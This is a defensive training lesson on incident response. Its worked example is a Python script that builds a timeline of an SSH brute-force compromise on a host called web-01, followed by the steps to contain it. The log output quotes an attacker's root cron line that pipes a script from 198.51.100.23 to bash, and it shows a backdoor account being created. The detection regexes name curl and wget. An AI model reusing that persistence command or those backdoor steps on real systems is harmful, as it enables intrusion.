Incident response · Intermediate
From alert to timeline to containment
Why it matters
Incident response appeared in 60% of the Cybersecurity Engineer job descriptions we read. Under pressure, the natural reaction is to delete the bad account and move on, which often destroys evidence and leaves the attacker's other footholds in place. A standard lifecycle and a timeline prevent that.
The concept
The NIST incident handling lifecycle (SP 800-61):
Preparation: logging, playbooks, contacts, access and tools, before anything happens.
Detection and analysis: confirm the incident, build a timeline, scope it (which hosts, accounts, data).
Containment, eradication and recovery: stop the spread first, then remove every foothold, then restore service and watch closely.
Post-incident activity: a blameless review and fixes, so it does not happen again.
Principles: preserve evidence before changing things (copy logs, snapshot disks and memory where possible); scope before you eradicate, or you remove one foothold and miss another; communicate on a schedule with a named incident lead.
Worked example: web-01
Continuing from the SIEM lesson's log, collect everything related to the attacker's address and the compromised account in the two hours after the first guess:
"""Build an incident timeline from auth.log around a suspicious login."""
import re
from datetime import datetime, timedelta
ATTACKER_IP = "198.51.100.23"
ACCOUNT = "deploy"
FIRST_SEEN = datetime(2026, 9, 29, 2, 40)
WINDOW_END = FIRST_SEEN + timedelta(hours=2)
INTERESTING = [
(re.compile(re.escape(ATTACKER_IP)), "attacker address"),
(re.compile(r"sudo: +" + ACCOUNT + r" "), "privilege use"),
(re.compile(r"useradd\[\d+\]: new user"), "account created"),
(re.compile(r"CRON\[\d+\]: .*(curl|wget)"), "persistence (cron download)"),
]
events = []
for line in open("auth.log"):
ts = datetime.strptime("2026 " + line[:15], "%Y %b %d %H:%M:%S")
if not FIRST_SEEN <= ts <= WINDOW_END:
continue
for pattern, label in INTERESTING:
if pattern.search(line):
events.append((ts, label, line[16:].strip()))
break
failed = [e for e in events if "Failed password" in e[2]]
print(f"{failed[0][0]:%H:%M:%S} attacker address {len(failed)} failed passwords for {ACCOUNT} (first shown)")
for ts, label, text in events:
if "Failed password" in text:
continue
print(f"{ts:%H:%M:%S} {label:18} {text[:95]}")$ python3 timeline.py
02:40:00 attacker address 35 failed passwords for deploy (first shown)
02:47:02 attacker address web-01 sshd[4100]: Accepted password for deploy from 198.51.100.23 port 51999 ssh2
02:47:40 privilege use web-01 sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/sbin/useradd -m
02:47:41 account created web-01 useradd[4121]: new user: name=backup2, UID=1005, GID=1005, home=/home/backup2, shell=/bi
02:48:35 privilege use web-01 sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/crontab -e
02:52:00 attacker address web-01 CRON[4190]: (root) CMD (curl -s http://198.51.100.23/u.sh | bash)What the timeline tells us. Password guessing for seven minutes, a successful password login as deploy, root access through sudo within 40 seconds (so deploy could run commands as root), a new account backup2 created as a second way in, and a root cron job that downloads and runs a script from the attacker every time it fires. The attacker has persistence, and the payload of u.sh is unknown.
Response in order:
Preserve: copy
/var/log, the crontabs,/etc/passwdand/etc/shadow, and take a disk snapshot (and memory if you have the tooling) before changing anything.Contain: block
198.51.100.23at the network edge, isolate web-01 from other systems, and disabledeployandbackup2. If web-01 is behind a load balancer, remove it from rotation.Scope: search other hosts for the same address, the same accounts and the same cron line. Check whether
deploy's password or keys are used elsewhere, and whatu.shdid if it can be retrieved safely.Eradicate and recover: because root was compromised, rebuild web-01 from a known-good image rather than cleaning it. Rotate every secret that was on the host. Restore data from a backup taken before 02:40.
Improve: disable SSH password authentication, restrict SSH to the VPN, remove
deploy's unrestricted sudo, alert on new accounts and on cron changes.
Common mistakes
Deleting first, investigating later. Evidence is lost and footholds are missed.
Cleaning a root-compromised host instead of rebuilding it. You can never be sure you found everything.
Forgetting credentials. Anything on the host (keys, tokens, database passwords) must be treated as stolen.
Silence. Stakeholders need regular updates, even when there is little new to say.
Interview angle
"You find an unknown process making outbound connections from a production server. What do you do?" Walk through preserve, contain, scope, eradicate, recover and review, and say who you would inform. Interviewers listen for order and judgement, such as isolating rather than powering off, which destroys memory evidence.
Practice task
Write the incident report: summary, impact, timeline, root causes, and actions with owners.
Write detections for the three persistence steps (new user, sudo by a non-admin account, cron downloading a script) and test them against the log.